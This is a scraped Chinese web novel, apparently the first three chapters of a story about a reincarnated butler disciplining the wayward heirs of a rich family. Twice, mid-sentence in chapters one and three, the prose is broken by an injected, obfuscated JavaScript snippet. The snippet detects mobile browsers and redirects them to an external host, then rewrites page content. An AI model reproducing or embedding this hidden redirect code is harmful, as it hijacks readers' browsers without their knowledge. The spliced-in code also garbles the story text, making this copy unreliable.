《豪门狗血文里的路人管家》 1. 第一章 “陆家走到今天都是你害的!滚!” “这不是乔梧么,被陆家赶出来了?他们现在都自顾不暇了,我倒要看看现在谁能保得住你这条废狗。” 被车撞下山崖的那一刻,乔梧阖眼前心想:原来人的身体也是有极限的,也有无法承受的疼痛。 下一瞬,她毫无预兆睁开眼,可眼前却不再是寂静漆黑的荒郊野岭,而是洁白的羽状华丽吊灯,周遭安静得让人心慌,她抬手覆上自己的胸口,伴随着剧烈心跳的还有她自己急促的呼吸声。 她缓缓坐起身看向周围,宽敞奢靡的大套间,书房衣帽间一应俱全,每件家具和生活用品上都印着同样的陆氏家纹,是她无比熟悉在梦中却再也无法奢求的地方。 又做梦了,这次梦到了结局。 她许久都没回神,直到房门被敲响。 “小梧,醒了吗?” 乔梧愣了愣,起身披上外套去开门。 门口的男人已经冒出了许多白发,腰背板直却格外清瘦,满身病气,他温和笑了笑:“昨天爸话说重了点,别生气。” 乔梧没说话,眼前的男人陌生又熟悉。 这是她的父亲,可她很多年没有跟他说过话了,她胎穿到这本书的世界,本想一点点改变自己未来的结局,没想到后来还是被剧情控制身不由己。 十岁以后她再次被困在身体里,只能眼睁睁看着“自己”跟着书中剧情走。 剧情里她是顶级豪门陆氏没有名字的路人管家,陆氏全员反派,而她是一根搅屎棍助纣为虐,她自然也旁观了那个“自己”的结局,荒山野岭死无全尸。 就在昨天,“自己”刚跟父亲吵了一架,不欢而散。 此时此刻乔梧也像过去一样,等着“自己”再次与父亲交锋,可她等了好久空气都依旧是沉默的。 “洗漱一下,下楼吃早餐吧。”见女儿态度没有昨天那么强硬,乔知义松了口气,“做了你爱吃的。” 看着女儿一言不发转身去了卫生间,乔知义无声叹了口气走下楼。 不知道从什么时候开始,他跟女儿之间就变得这么生分对立了。 他老来得女,妻子走得早,自己手把手将女儿拉扯教育长大,明明小时候那么听话可爱的孩子长大后却渐渐开始变得陌生,变得自私狡猾愚昧好坏不分。 起初他怀疑是常年的优越环境让她变得是非价值观扭曲,所以将她送出国去学习了两年,可没想到这次回来却变本加厉,想把手伸入陆家集团内部。 昨天他只提点了她几句,父女两却吵得不可开交。 小梧才二十二岁,以后要怎么办才好。 听见楼梯传来脚步声,乔知义收好思绪抬头,下一秒却愣住了。 这些年女儿格外喜欢浓妆,尤其是从国外回来后,更是把自己打扮得艳丽趾高气昂的,可现在她脸上却一点化妆品的痕迹都没有,露出五官最纯粹的模样。 她跟她母亲长得像,是一眼看过去就能夺人心神的纯净漂亮,眸色很浅,傲骨清绝,此时戴着一副无框眼镜显得人没那么锐利了。 “近视了?”他问。 “有一点。”乔梧在父亲身边坐下,见桌上都是西式早餐轻轻抿了下唇,但还是拿起叉子,“这几天事多戴着方便,隐形眼镜容易眼睛干。” 乔知义惊讶女儿会跟自己说这些小事,压着心里的激动:“无框眼镜戴着也不太舒服,改天带你去配其他款。” 乔梧:“好。” 气氛实在太融洽,让乔知义忍不住想要再改变一点点,至少让女儿别走歪了路。 吃完早餐后,他轻咳一声:“小梧,爸没有要干涉你工作的意思,爸不求你大富大贵,只希望你万事问心无愧,未来开心平安。” “爸,我知道。”乔梧擦干净嘴巴,抬头笑了一下,“以我现在的年龄和资质,留在陆家没有什么不好,还能学到很多东西,外面的工作没这种待遇的。” 见父亲还是忧心忡忡的目光,乔梧心中又涩又暖,过去她真的让父亲操了很多心,于是她又温声补充:“您放心,我现在只想本本分分做好自己分内的事。” 乔知义这次是真的呆在了椅子上,昨天跟自己吵得天翻地覆的人是谁? “您没事就去外面晒晒太阳。”乔梧站起身,“等忙完这几天,我带您去复查。” 乔知义愣愣地看着她:“好、好的。” 这是在敷衍自己,还是她真的醒悟了? 陆氏庄园很大,乔梧和父亲住在角落的小别墅里,通常庄园里有小代步车可以用,只不过她今天是走到主宅的。 一路上她狂跳的心都没有平静下来过,从她能心平气和跟父亲说出自己内心想法到现在,她终于有了实感。 她现在是乔梧,是真正的自己,而不是书里那个蠢笨的搅屎棍炮灰,她也不会让自己以后曝尸荒野。 至于陆家……她跟父亲说的话也不全是假的。 乔知义学历不高但运气好,年轻的时候是陆家老爷子的司机,后来深得信任做了陆氏的管家,管着内宅的所有大小事,一辈子都忠心耿耿。 所以连带着她出生后也受到了照顾,锦衣玉食长大。 但是按照她梦里那些细节,陆家上下全都是反派,原本的“她”在父亲身体不好退休后接管了他的位置,仗着这份情谊游走在陆家每一个人身边做添油加醋的狗腿子,让陆家每个人都变本加厉的在作死道路上一去不复返,最后死的死,牢的牢。 现在书中的主角还没出现,可陆家的反派却已经在开始养成了。 乔知义原本是希望她不要在陆家继续待下去,去过自己的人生,只是被心怀不轨的“她”拒绝了。 而乔梧虽然被剧情控制,但她从小学的东西都铭记在心,不说夸张,至少这家里没有谁比她更全能,以她的能力去出去随时都能混得风生水起。 她拒绝是因为深知过去这些年陆家这些人容许她添油加醋,是因为从小的情谊,在她遥远的记忆里,在她还没被剧情控制时,她跟陆家的每一个人也有过一段美好的童年的。 他们本也不该有那样的结局。 更何况她没有做错任何事,为什么要放着巨额年薪豪车豪宅不要,选择离开? 她不喜欢逃避。 早上七点。 乔梧准时到达陆氏庄园主宅,主家老小都住在这里,只不过宅子太大,他们之间关系也并不融洽,所以基本各过各的,大多数一周都见不上一面。 门口的佣人们见她来了纷纷礼貌打招呼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152063|164861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔管家。” 乔梧点头,唇边含笑:“早上好。” 众人都很惊讶。 先不说出国前的乔梧总觉得自己也是主家的小姐,下巴都要抬到天上去,根本不把家里佣人放在眼里,回国继任管家后更是把自己当成了主人,待人待事颐指气使,气得人都牙痒痒。 可今天她不仅会打招呼,连妆容衣服都换了个风格,看上去虽然很有距离感,可语气平易近人,一举一动满是上位者的优雅。 乔梧没有顾得上身后众人好奇的打量,她这几天的确很忙,忙着整理家里每一个人的基本信息。 陆家老爷子年纪大了,很多事情都力不从心,小辈一个个开始独立有了自己的安排打算,加上她父亲乔知义身体不好,现在也管不住这些少爷小姐,所以现在的陆家不仅人心散乱,家事也是乱七八糟。 一周前乔梧回国接任总管家职位,但当时的“她”满脑子都是讨好众人,渗入陆氏集团,更不可能去管这些生活上的小事,以至于陆家至今都是一盘散沙。 陆老爷子有四个孩子,不过长子夫妻车祸死的早,只留下了一个女儿,如今也才上初中的年纪。 陆老爷子想要继续控制集团主权利,可却劳累病倒,暂时住在私立医院里; 二少爷为了发展自己的势力拿下集团话语权,整天应酬布局不归家; 三少爷跟陆老爷子吵架跑进了娱乐圈,可只会无所事事耍大牌,物色哪个女明星好看就往家里带; 四少爷还是个大学生,但整天逃课夜夜笙歌挥霍无度,目标是前女友可以组成一个女足队; 而这一切的一切,都是原来的“乔梧”怂恿纵容的。 出国前她担心回来后这家里没有自己的位置,所以想让这家人分崩离析,从中嚼舌根捧臭脚巩固自己的地位。 乔梧至今想起来,都觉得自己被这种愚蠢的剧情侮辱了。 陆家的情况不能一朝一夕改变,她只能一步一步来。 叮的一声,电梯门打开,走出来的佣人径直走过来:“乔管家,小小姐今天身体不太舒服,让您打电话替她给老师请个假。” 乔梧手上动作不停:“哪里不舒服,家庭医生看过了吗?四少爷呢,起床了吗?” 佣人用一种极其复杂的目光看着她:“小小姐她的情况您应该清楚,四少爷昨晚喝酒到凌晨四点才回家,现在……” 病是没病的,就是不想去读书。 床是不可能起的,错过早八干脆不去了。 以前乔管家不仅不管,还不让任何人去吵到他们,今天怎么还明知故问起来了? 笔记本被啪的一下合上,乔梧起身走到一楼会客厅的墙边,庄园的每个房间都是隔音很好的独立大套房,寻常人的嗓子根本不可能叫得到人,一般都是打电话,但为了预防紧急麻烦,当初建庄园时老爷子装了个按钮,按下去每个人的房间都能听到。 乔梧抬手看了眼表上的时间,随后面无表情地按下按钮。 “噔噔蹬蹬!噔噔蹬蹬!” 《命运交响曲》在不同的房间内震耳欲聋响起。 躺在各自房间内柔软被窝里的两人被吓得虎躯一震,瞬间坐起来。 什么逼动静? 有脏东西! 2. 第二章 头顶的交响曲大有不死不罢休的气势,且声音越来越大。 两人在床上反应了三秒后,困顿懵逼的脸顿时煞白,脸都没顾得上洗就光着脚冲了出去,陆宅建好至今都没用过的全屋预警铃,今天怎么用上了,该不会是…… 电梯里两人迎面撞上,面面相觑异口同声。 “老头不行了?” “爷爷不行了?” “……” 啧。 等于白问。 陆应池拿起手机想看看有没有收到什么特别消息,但上面除了消费账单就是昨晚不知道加的谁的微信,一溜烟全是喊哥哥的,根本分不清谁是谁,干脆懒得回。 看见置顶的聊天框,他视线停住片刻,却还是选择点开,上面的消息还停留在他昨晚发消息过去说要出去喝酒,对方回了一句:大学就该多跟朋友出去享受,四少爷放心玩,老先生那边我去说。 他现在跟对方的对话一般只有他发泄,对方奉承,就再也没其他。 陆应池沉着眉,刚把电话拨出去电梯门应声而开,而他面前不远处响起微信电话铃。 他下意识抬起头,急躁不耐的目光却在一个地方凝住,脚丫子也定在原地没再继续往前走。 站在沙发旁的年轻女人正侧脸跟身边的佣人说着什么,白色西装修身衬形,黑直的头发被她半挽挑在耳后,利落又漂亮,晨光映在她未施粉黛的脸上,有种近乎透明的不真实。 她,以前长这样? 时间过了太久,陆应池居然想不起来乔梧过去是什么样了,反正没这么好看。 “草。”被大高个堵在身后的陆柠往前推了一把,“陆应池你酒还没醒?我差点被电梯门夹死!” 她绕过四叔,却也同样被女人看过来的目光镇住了,眨了眨眼:“乔……梧?” 乔梧将陆应池打过来的微信电话挂掉,嘱咐身旁的人去准备早餐后带着早就等待的家庭医生朝叔侄两走过去,边走边打量。 在她还能做自己的印象中,陆应池还是那个比她小四岁、每天去幼儿园都要哭哭啼啼想要把她塞进书包一起带走的肉嘟嘟的小屁孩,她曾经因为甩不掉小跟屁虫,把他也带到小学教室跟着上了几次课。 小时候的陆应池很乖,可现在的他——早就褪去了稚嫩的婴儿肥,身高腿长,五官明朗充满了少年气,烫过的卷发染成了黄色,长及下巴,睡了一觉起来炸毛得跟小狮子狗似的,眉眼间也全都是戾气。 至于大少爷的女儿陆柠,乔梧也只有在她还幼年时抱过她几次,陆柠父母走得早,学会喊的第一个词还是呜呜,可在那之后乔梧就再也没近距离接触过她,只是眼睁睁看着她一步步的变得这样叛逆又不服管教。 走到发呆的两人面前站定,乔梧对家庭医生道:“麻烦您看看小小姐哪里不舒服。” “好的。” 家庭医生还没靠近,就被陆柠一脸厌恶地躲开了:“别碰我,我没有不舒服!” 对于这个答案乔梧心里早就清楚,她明知故问:“不是生病要请假?” 陆柠瞪着她:“我生不生病你不知道?” “不知道。”乔梧轻笑摇头,“我又不是医生。” “你……” 陆柠被噎得哑口无言。 “你呢,有没有不舒服?”乔梧又看向一脸倦色丧意的陆应池。 后者昨天宿醉只睡下一会儿就被叫起来,现在一肚子气,胃里那点不舒服不算什么:“啰啰嗦嗦干什么?有屁快放。” 乔梧指尖在表盘轻点:“早餐我让人打包给你们在路上吃,车已经准备好了,你们还有十分钟时间洗漱换衣服。” 看来真是老头的事儿,陆应池随便用手抓了下头发:“老头都这么严重了就别在意那些细节了吧,见了最后一面再说。” “……” 真是个大孝子。 乔梧定了定神,“老先生很好。” 陆应池压着烦躁:“那你一大早搞这么大逼动静干什么。” 乔梧这些年对他百依百顺,几个哥哥和老头不让允许他做的事,只有乔梧永远第一个附和赞同,这极大的满足了他的自尊心,所以现在一旦有了不满意不顺心,他就觉得难以忍受。 “不早,既然都没有不舒服,那你们该去上学了。” 陆应池:“???” 上学,好踏马小众的文字。 前两年乔梧出国学习,他被他爹和老管家一起压着,请了家教严加管教两年,这才勉强考了个本一,现在好不容易解放了,他才不要过那种苦日子。 他还没反应过来,旁边精神状态放松下来的陆柠打了个哈欠转身就要走:“没事别瞎按铃,吵人睡觉烦死了。” 显然是没把这句话当回事。 但她没能走动。 乔梧从身后拽住了她睡衣的领子,语气平静:“你还有八分钟洗漱换衣服,如果再不行动,我不介意让保安把你们就这样直接塞进车里送去学校。” “学校?”陆柠终于醒了,“乔梧你疯了吗!” “今天周一,初二的在校生去学校,有哪里不对吗?” “我不去!”陆柠皱眉,“你给老师打电话,说我肚子疼头疼,随便哪里疼。” “抱歉,我的工作是规划好每一个家庭成员的正常健康的日常生活,这其中并不包括无故撒谎请假。” 回过神来正在抱手看戏的陆应池忍不住笑了:“噗。” 虽然乔梧今天的行为很奇怪,但陆柠这小丫头平时对他就没礼貌,一声叔叔都没叫过,他乐于看小丫头吃瘪。 下一秒,那道平静的目光就落在了他身上:“你还有六分钟。” “?” 陆应池笑不出来了:“我昨天快五点才睡的,就算现在去也赶不上早八了,你没事吧?” 陆宅离大学那么远,早八早就赶不上了。 乔梧:“迟到和旷课是两码事,我会让司机规划路线开快点。” “神经病。”陆应池翻了个白眼,转身按了回房间的电梯。 对于他这样的反应乔梧并不觉得奇怪,这两人如今的习惯都是过去这些年惯出来的,她心平气和地喊:“陆应池。” 一只脚已经踏进电梯的陆应池就这么硬生生地停了下来。 乔梧从小就长得好看,所以他记事起就爱跟在她身边,她也会把好吃的好玩的留给他,会教他该与不该,会笑吟吟地叫他陆应池,他也承认自己那时的依赖。 可不知道从什么时候开始,乔梧看他的眼神就变了,也只会叫他四少爷,对他好的一举一动都像是算计过的,让他不适,他总觉得自己在与她越走越远。 所以那些陈年旧事被他逐渐遗忘,他也随波逐流,没有再去想这个人的变化,既然她回来接任管家,那她只要听话、让他满意舒心就行。 陆应池忘记有多少年没听到乔梧这么喊他了,久到那些被他忽略的陈年旧事被忽然掀开一角,让他觉得恍如隔世。 忽然他手臂被冰凉的手心覆盖,将毫无防备的他往后拉去,电梯门也在这时合上又弹开。 乔梧松开手:“愣什么神。” 意识到自己刚才的失态,陆应池皱眉离她一步远,努力让自己忽视手臂上残存的触感,恶声道:“不要动手动脚。” “来不及了。”乔梧懒得去管他这些婆妈的小毛病,“一楼卫生间有一次性洗漱用品,去洗把脸,我让人拿了备用衣服在车里,你们自己在车里换吧。” 这下其余两人终于明白她不是在说笑了。 “谁爱去谁去,少踏马管到我们头上。”陆应池难得跟陆柠站在统一战线,冷笑道,“乔梧,别太把自己当回事,不然我辞了你。” 乔梧没说话。 拿了早餐盒来的佣人见状也不敢上前,这家里脾气最不好的就是四少爷和小小姐,这要是人家不开心把她们也辞了怎么办? 可乔管家却平静看过来:“早餐拿去车上,叫保安进来。” 这家里平时彼此都互不干涉,什么时候真正动用过保安,陆柠吓了一跳躲到陆应池身后。 陆应池捏紧拳头:“乔梧!” “我在。”乔梧微微一 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简单朴素到不像他家一贯的早餐,不对,他已经很多年没在家里吃过早餐了,盒子里装着热气腾腾的小米粥水煮蛋、切好的水果,包好的三明治,还有胃药和一个保温杯。 餐盒里放了一张字条:先喝小米粥和鸡蛋,等胃舒服了再吃其他的,不舒服可以吃药,多喝热水。 陆应池看得出来这是谁的字迹。 她从小爱学习,也写得一手好字,他刚开始学写字时就是她握着他的手一笔一划写的。 陆应池将纸条揉成一团。 完了,真的有脏东西。 另一边的陆柠看着自己手里的早餐心情也很复杂,她没有父母,她做错了事爷爷也只会教训她,其他事都事交给老管家,后来乔梧跟她说要学会独立,不然会让大人不高兴,尤其是她这种身份敏感的孩子。 所以她习惯了不麻烦别人,也从来不吃早餐,什么事都跟乔梧说,乔梧从来不会告状不会骂她,也不会管天管地,只会帮她善后。 可这两年乔梧出国她身边就没其他人了,她更不喜欢去学校,对于这件事乔梧只是睁一只眼闭一只眼,没想到今天居然逼着她去学校。 还给她准备了早餐。 是她喜欢喝的甜牛奶和蔬菜饺子。 家里佣人都不知道,她在国外这么久,是怎么知道的? 陆柠抿了抿唇,早起的怨气在这一刻怎么都发不出来。 - 作为陆宅的总管家,很多事情乔梧不需要亲力亲为,只要统筹好安排下去就行,日常将所有流程都检查了一遍后,她坐下来休息了会儿,想到陆应池和陆柠临走前的憋屈模样又忍不住想笑。 他们变成现在这样,跟“她”也有一定的关系。 她心里有数,如果这个家真的无可救药,她也不会强留。 现在看来情况应该还不错。 念头还没消掉,她手机就响了,来电人备注是陆柠班主任。 乔梧笑意微收。 “陆柠的家长您好。”电话接通后,那头的人焦急道,“她说您从国外回来了,您有没有空来学校一趟,陆柠跟学校的人又起了点冲突,这会儿人在医务室。” 乔梧:“……又?” 此时附中的医务室里,陆柠坐在窗边的凳子上,垂着眼睛一语不发。 听见老师打完电话她才抬了下眼。 班主任对这个刺头真的很头疼,三天两头生病请假不说,还时不时旷课,成绩在班里吊车尾。 她不太清楚这个学生家里的情况,每次出事打电话都说在国外,安排人来解决也总是不问缘由就用钱了事,也难怪这孩子养成这样的性格。 可今天在电话里听声音,对方不像以前那样趾高气昂的了,温和有礼的,也不知到底是个什么样的人。 陆柠望着窗外:“她怎么说?” “她说她马上来。” “哦。” 陆柠不在意的应声。 反正乔梧从来没怪过她,这次也会帮她善后的……吧? 3. 第三章 去学校的路上,乔梧将过去的经历和梦中的未来一一对照复盘。 过去的“乔梧”心知自己不是陆家的亲生孩子,为了以后能在这里站稳脚,想方设法离间陆家每一个人,方便让自己成为他们身边唯一可信的人。 “她”当然不希望这一家人和和睦睦,只要“她”认定的那个人能笑到最后,那“她”就能跟那个人共享整个陆家。 想到这里,乔梧点开最顶上的那个文件夹。 陆尽之。 梦里风光堂皇的陆宅已经空无一人,寂寥阴森,陆尽之也再不是权势滔天睥睨矜贵的陆家二少爷,他穿着黑色大衣的独自坐在花园的秋千上,任由瓢泼大雨将他的脊背压弯。 “滚。” 这是他对梦中的乔梧说的最后一个字。 平静,却比夜色更沉。 醒来时乔梧曾想过以他锱铢必较的性格,为什么会放过害他至此的人,可终究是没有想通。 她目光下移,又看向陆柠的资料。 陆柠父母早亡,又是陆家唯一的小辈,理应来说是最受宠的,但陆老爷子以前忙着事业,连四个儿子都是老管家帮着带大的,隔代也不知道该怎么去跟小姑娘相处,只是在吃穿用度上从来不亏待她。 过去“乔梧”仗着自己是女孩子,轻易接近失去父母又极度缺乏安全感的陆柠,告诉她要自立自强,所以陆柠小小年纪便拒绝上私立学校,只是去了普通初中,这也方便了“乔梧”的远程管控。 按照原本的发展,由于一再的纵容,陆柠逐渐养成了用钱摆平所有事的性格,变成无法无天毫无建树的混混。 翻看着陆柠这几年的成绩单,从来都是尖子生的乔梧眼前简直一黑又一黑。 “乔管家,到了。” 乔梧嗯了声,合上电脑下车:“辛苦。” 虽然她并不是陆柠真正的家长,但陆老先生人在医院,其他几个叔叔神龙见首不见尾,这种事也只能她来出面。 学校并不大,随便问问就能知道医务室在哪。 上课时间校园里安安静静的没有什么人,乔梧也放轻了脚步,还没等她上完台阶却忽然听到了熟悉的名字。 她抬起头,见医务室一旁的树下站了两个人,其中一个男孩子鼻青脸肿。 陆柠打的? 小孩看着那么瘦,下手挺重啊。 “反正她家长了来又不会怎么样,横竖都是给钱,说不准还能要多一点呢,到时候看我脸色行事知道吗?” “知道了,我装得更痛一点,多讹一分是一分,妈你听我的,陆柠没教养,多说几句她连你都骂,到时候都是她的错,她爷爷来了都没用。” 乔梧无声笑了笑,等那两人进门后才带着家庭医生走上去。 医务室里,陆柠已经第五次看向墙上的时钟,表情十分不耐烦。 这个时间应该没有堵车,从陆宅过来最多也就一个小时,怎么人还没来? 走回来的男孩太习惯她这副模样了,这种时候只要激一激,陆柠肯定又会炸毛惹事,想着妈妈的叮嘱,他抱着脑袋故意嚎道:“陆柠,我妈都到很久了,你家长到底还管不管你了?我现在很痛!” 陆柠整个人都歪倒在椅子上,根本不吭声。 她现在不想搭理其他人,只想对说话不算话的乔梧发脾气。 “你这小孩怎么一点礼貌都没有。”男孩妈妈皱着眉坐下将儿子半护在自己怀里,“把我儿子打成这样也该有点说法吧,又不是一次两次,听说她爸妈常年在国外,忙着挣钱也不能忽视孩子的教育,老师您可得多跟他们说一说。” 陆柠冷笑:“我爸妈在天上,你这么有嘴你去说?” 屋里的人都愣了一下,男孩撇了下嘴:“难怪,没爸妈教的人才这样。” 陆柠深吸一口气,撸起袖子又站了起来,朝着男孩走去。 班主任吓了一跳,忙拦住她:“陆柠,你干什么?!” 但陆柠从来就没听过谁的话,她一把挥开班主任的手,死死盯着被护在怀里的小胖子:“打残了我也赔得起。” 当她再一次揪上男孩的衣领时,门口传来不高不低的女声:“陆柠。” 陆柠动作忽然停下来,恶气冲冲地瞪向门口,还没看清人话已经大声喊出了口:“你怎么才来!骑乌龟的吗!” 乔梧站在门口,看到陆柠通红的眼睛时心里很不舒服。 她从小就抱着的、会甜甜喊她呜呜的小朋友,自己一个人委委屈屈的长大了。 众人顺着陆柠的视线看见门口的年轻女人时都是一愣,现实生活中很少有人能把西装穿得修身又有气质,眼前的女人显然是个例外,精致又清贵,她表情平静温和却生生将整个医务室中人的气质都压了一大半。 “您是?”班主任不太确定地开口问。 这么年轻,应该不是父母吧?陆柠不是说她父母在天上? 乔梧温声:“您好,我是……” 陆柠打断了她:“别管那么多,现在人来了,要怎么处理就直接说,还有…” 她指着小胖子“我现在要再打他一次,你算算要多少钱。” 其他人:“……” 乔梧轻轻叹了口气。 你就说人家不坑你坑谁吧。 “过来。”她朝陆柠招了招手。 陆柠不可置信:“你在命令我?” 指望小孩乖一点是指望不上了,乔梧走上前握住她撸起袖子的白皙手腕,轻轻拉到自己身边。 陆柠顿时炸毛:“我说过不要碰我!” 可无论她怎么挣扎,手腕依旧被乔梧牢牢扣住。 “别动。”乔梧俯身在她耳边轻声道,“保镖在楼下,想让这么多人看着你被保镖按住?” 早上被强行送上车的陆柠脸唰的就黑了:“命令又威胁,你真有本……” “抱歉。” 陆柠愣住。 “准备了点东西来晚了。”乔梧说着就蹲了下去,将她脏了的校服裤子挽到膝盖,看清了上面的伤痕,视线又扫过她的手背,问,“怎么没处理自己的伤?” 一旁的班主任赶紧解释:“陆柠不让校医碰她,说自己不疼。” “怎么会有不疼的伤口?”乔梧起身,轻轻按了一下她的眉心,笑道,“眼睛都红了。” “谁眼睛红了!一点小伤。”陆柠还沉浸在刚才那一声抱歉里。 其实只要她一发脾气,乔梧总是第一时间道歉,可这次的感觉却让她十分不适应,因为她听不出敷衍和讨好,她笑得那么……那么温柔干什么! 乔梧不知道她在发什么呆:“我带了家里的医生来,让她给你看。” “我不疼,我现在想打人。” “乖。” 脑袋被揉了一下,陆柠身体都僵了,耳根子隐隐变红。 旁边的小胖子妈妈不是来看她们家庭和睦的,赶紧把话题拉到自己身上:“陆柠家长,你不如先看看我家孩子的伤,我家孩子明显比你家严重,有钱也不能为所欲为吧。” 她还以为多厉害呢,这么年轻的女人能成什么事,一定要多敲一笔! 闻言乔梧转过身,脸上的神色也淡了很多:“那报警吧。” 简单直接的四个字把所有人都震得好久没出声。 “小孩子小打小闹,报什么警?”小胖子妈妈不想事情闹大,“但是你家孩子把我家孩子打成这样,医药费要出吧?” 乔梧点点头,问:“要多少?” 旁边被医生按着处理伤口的陆柠听到这话咬了下唇。 果然还是跟以前一样,随便赔钱就能了事,好像不管她闯多大的祸只要有钱就能解决。 “带孩子去医院做个全身检查,医药费加上精神损失费五千不过分吧?” “妈,她还弄坏了我的衣服书包文具。” “那就六千!” 母子两一唱一和,乔梧倒是没有打断,只是拿出手机在屏幕上点了几下。 小胖子妈妈以为她要转账呢,立刻拿出自己的手机递过去:“扫我收款……” 可没想到她收到钱后,乔梧手机却跳到了拨号界面上,看清110的字样后,她惊叫出声:“你干什么!” “我会带你的孩子去医院验伤,全程费用我们出,我也会监督他每一项检查都做完。”乔梧语气不徐不疾。 “那你为什么报警?孩子打架而已!” 乔梧笑了下:“谁说我报警是为了孩子们打架?这么大一个块头打不过小女生,报警我嫌丢人。” 小胖子气得脖子都红了,还好被他妈妈按住:“那你为什么?” 乔梧:“为你教唆孩子敲诈。” 怎么就上升到敲诈了?班主任懵逼地问:“您说什么?” “我在外面听得一清二楚,还有什么问题吗?”乔梧指了指外面那棵树,“六千的金额已经可以立案,再者,既然您索要精神损失费,那需要你找律师来跟我家的律师团谈,马上我会让律师团起诉您敲诈的事。” 普通人家哪里听过这些,小胖子妈妈直接被吓住了:“我家孩子未成年!” “所以我们起诉的是您。”乔梧个子高,又穿着高跟鞋,看这位妈妈时目光微微向下,压迫感十足,“您说我家孩子没人教,那我倒是想让您的孩子在法庭上看看,您是怎么教孩子的。” 一口一个您,可小胖子妈妈却觉得自己被人羞辱了。 尤其是她的确说过这样的话。 她也的确没有带孩子去医院检查的想法,一点皮外伤又不是大事,有钱就行。 现在她脸皮都丢没了,低着头看地面一句话都不敢再说。 这在乔梧的意料之中,这些人市侩眼界又浅,甚至都不用录音和证据,简单几句话就能把她们的防线给击碎。 没听到对方再说话,她又望向目瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152065|164861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口呆的班主任:“以及我现在要看出事时候的监控,我家陆柠不会无故动手。” 陆柠倏忽抬头。 乔梧将手里的一直拿着的电脑打开,其中一个文件夹记录的全是过去每一次陆柠跟人起冲突的时间地点以及赔偿金。 她将屏幕推到老师面前:“以前我在国外没法亲自过来,今天我要把每一次的前因后果都搞清楚,麻烦老师让那些同学的家长们也来一趟吧。” 医务室一瞬间落针可闻,站在陆柠身边的年轻女人亭亭玉立,眼镜下的眸子沉静深远,掷地有声:“既然钱已经赔了,接下来轮到我们算算其他账了。” 谁也没想到这么年轻的人居然会有这么细致的心思,以及这么强的气势。 从头到尾乔梧都没有一点情绪激动,她朝班主任款款伸手:“忘了自我介绍,我是陆柠的管家,乔梧。” 她语气依旧温和,可班主任却惊得忘了握手。 以在场任何一个人的地位和社交圈,根本接触不到这样的人。 可乔梧从小生活在陆宅,接受超一线的精英教育,耳濡目染的都是成功人士,要不是那段莫名其妙的小说剧情,她怎么会变得那样蠢笨不知所畏。 此时的小胖子和他妈妈已经安静如鸡,在等待其他学生过来的期间,陆柠埋头盯着自己被处理好的伤口也沉默了好久才明白,乔梧说来晚了是准备那些资料去了。 她踢了踢乔梧的脚尖:“喂。” 看监控的乔梧微微偏头:“嗯?” “你为什么觉得我不会无故动手?”陆柠闷声问。 虽然过去乔梧也觉得她做什么都是对的,可这种感觉不一样,陆柠理不清楚。 “没有这么觉得。”乔梧实话实说,“要是有故意的时候,一会儿人来了,你该道歉还是得道歉。” 陆柠虽然有被纵容的成分在,但过去两年她在国外,很多事情不清楚,保不准陆柠也会找茬。 陆柠:“……” 让她道歉?! “我的字典里就没有道歉两个字!” “现在有了。” “乔梧你到底是来帮谁的?”陆柠没好气,“做好你分内的事情就行,不该管的别管知道吗?” 乔梧用额头轻轻碰了下她的脑袋:“陆柠,自立不代表没有担当。” “谁没担当了!” “嗯,那一会儿如果错了就道歉。”乔梧轻笑,“我不希望保镖还要上来走一趟。” “……陆应池说得对,你越来越分不清大小王了。” 话说完却发现乔梧根本没在听,皱眉看过去,原来是注意力被监控吸走了,这会儿回放的是早上…… “别看了!”陆柠站起来捂住屏幕。 因为几个饺子被打翻了就打架,真是丢死人了。 但她扭头却撞进乔梧的目光里,安安静静的,仿佛心疼。 “抱歉。”乔梧又说了一次,“我来晚了。” 陆柠不知道她再说一遍有什么意思,但眼睛就是莫名发涩。 “谁管你。” 乔梧猜得不错,虽然陆柠在学校总是跟人起冲突,但除了前几次是两边都各自有问题以外,后面基本都是那些人知道她没人管,出事就用钱摆平,所以故意来找茬的。 这样一来,陆柠倒也没有道几次歉,可能真的担心保镖上来,她也老实道了歉。 解决完所有事情,她顺便把陆柠也带回了家。 陆柠难得安静,回家后就回了自己房间,乔梧也可以静下心来去处理律师的事,她并没有吓唬那些家长,得让人知道手段,以后陆柠才不会被人盯着,反正陆氏有律师团是专门负责家里人生活方面的。 大门被人砰的猛踹了一脚。 对上陆应池挑衅的眼神后,她又重新低下头去。 幼稚。 陆应池见状更加不爽,一大早被压去上早八,他一整天都跟火球似的,连晚上去喝酒的精神都没了只想回家补觉,罪魁祸首在家倒是舒服。 他走上前威胁:“乔梧,明天要是再敢按那个破铃,老子把你手剁了。” 乔梧嗯了一声,头也没抬,却伸出手在桌面上,意思很明显。 剁吧,我还要按。 陆应池被激了一下,一记手刀砍在她手腕上,桌上发出沉闷的声音,细白的手腕顿时就被打出一道红痕。 乔梧这才缓缓抬头。 想到早上自己就是被她这种眼神盯松手的,陆应池十分硬气:“你自己让我剁的,我还没动真格的呢!” 谁让她自己不躲。 乔梧没说话,而是随手抽出放在果盘里的刀,将刀鞘拔了咣当一声扔在桌上,微抬下巴。 “陆应池。”她说,“要么你今天把我的手剁了,要么明天六点半起床。” 陆应池:“?” 草?怎么还提前了。 这踏马被反挑衅了?! 4. 第四章 